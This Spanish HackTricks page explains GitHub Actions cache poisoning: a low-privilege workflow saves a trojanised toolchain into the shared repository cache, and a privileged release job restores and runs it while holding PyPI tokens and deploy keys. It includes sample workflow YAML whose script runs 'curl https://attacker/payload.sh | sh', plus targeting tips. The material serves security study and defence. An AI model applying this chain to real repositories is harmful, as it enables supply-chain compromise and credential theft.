GH Actions - Cache Poisoning

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general

El cache de GitHub Actions es global para un repositorio. Cualquier workflow que conozca una cache key (or restore-keys) puede poblar esa entrada, incluso si el job solo tiene permissions: contents: read. GitHub no segrega las caches por workflow, tipo de evento o nivel de confianza, por lo que un atacante que comprometa un job de bajos privilegios puede poison una cache que un job de release privilegiado restaurará más tarde. Así fue como la compromisión de Ultralytics pivotó desde un workflow pull_request_target hacia la pipeline de publicación en PyPI.

Primitivas de ataque

  • actions/cache expone tanto operaciones de restore como de save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). La llamada save está permitida para cualquier job excepto los workflows pull_request verdaderamente no confiables disparados desde forks.
  • Las entradas de cache se identifican únicamente por la key. Amplias restore-keys facilitan inyectar payloads porque el atacante solo necesita colisionar con un prefijo.
  • El filesystem cacheado se restaura verbatim. Si la cache contiene scripts o binarios que se ejecutan posteriormente, el atacante controla esa ruta de ejecución.

Cadena de explotación de ejemplo

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Workflow privilegiado restauró y ejecutó la poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

El segundo job ahora ejecuta código controlado por el atacante mientras posee credenciales de release (PyPI tokens, PATs, cloud deploy keys, etc.).

Consejos prácticos de explotación

  • Apunta a workflows desencadenados por pull_request_target, issue_comment o comandos de bots que aún guardan caches; GitHub permite que sobrescriban claves a nivel de repositorio incluso cuando el runner solo tiene acceso de lectura al repo.
  • Busca claves de cache deterministas reutilizadas a través de límites de confianza (por ejemplo, pip-${{ hashFiles('poetry.lock') }}) o restore-keys permisivos, y guarda tu tarball malicioso antes de que se ejecute el workflow privilegiado.
  • Monitorea los logs en busca de entradas Cache saved o añade tu propio paso de guardado de cache para que el próximo job de release restaure la carga útil y ejecute los scripts o binarios troyanizados.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks